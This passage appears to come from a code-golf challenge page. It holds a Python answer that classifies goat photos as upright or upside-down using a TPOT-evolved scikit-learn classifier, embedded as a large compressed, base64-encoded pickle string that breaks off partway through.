could probably work for goats too, given their distinctive shape.\n[2D Feature recognition](https://docs.opencv.org/3.1.0/da/d9b/group__features2d.html) looks promising (template matching won't work because of scaling and rotation) but I'm too lazy to figure out OpenCV for C++.\n[Answer]\n## Python 3, numpy, scikit, 100%\nThis code runs a goat-trained image classifier against a single filename, printing out 'Upgoat' or 'Downgoat'. The code itself is one line of python3, preceded by a single gigantic string, and an import line. The giant string is actually the goat-trained classifier, which is unpickled at runtime and given the input image for classification.\nThe classifier was created by using the TPOT system, from Randal Olson and team at the University of Pennsylvania. TPOT helps to evolve machine-learning image classifier pipelines using genetic programming. Basically it uses artificial selection to choose various parameters and types of classification to work best with the input data you give it, so you don't have to know much about machine learning to get a pretty good pipeline setup. . TPOT runs on top of scikit-learn, of INRIA et al, \nI gave TPOT about a hundred goat images that I found on the internet. I chose ones that looked relatively similar to the goats in Test, i.e. \"in a field\", from the side, without much else going on in the image. The output of this TPOT process was basically a scikit-learn ExtraTreesClassifier object. This image classifier, after being trained (or 'fit') on my goats, was pickled into the huge string. The string, then, contains not just classifier code, but the \"imprint\" of the training of all the goat images it was trained on.\nI cheated slightly during training, by including the 'goat standing on a log' test image in the training images, but it still works pretty well on generic goat-in-a-field images. There seems to be a tradeoff - the longer I let TPOT run, the better classifier it created. However, better classifiers also seem to be 'bigger' and eventually run up against the 30,000 byte limit given by @Downgoat in the golf game. This program as it stands is currently at about 27kbytes. Please note that the 'second group' of test images is broken, as is the 'backup link', so I'm not sure how it would do on them. If they were to be repaired, I would probably start over, rerun TPOT and feed it a bunch of new images, and see if I could create a new classifier under 30k bytes. \nThanks\n```\nimport pickle,bz2,base64,numpy,sys,skimage.transform,skimage.io\ns='''\nQlpoOTFBWSZTWbH8iTYAp4Z/////////////////////////////////////////////4E6fAAPR\n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\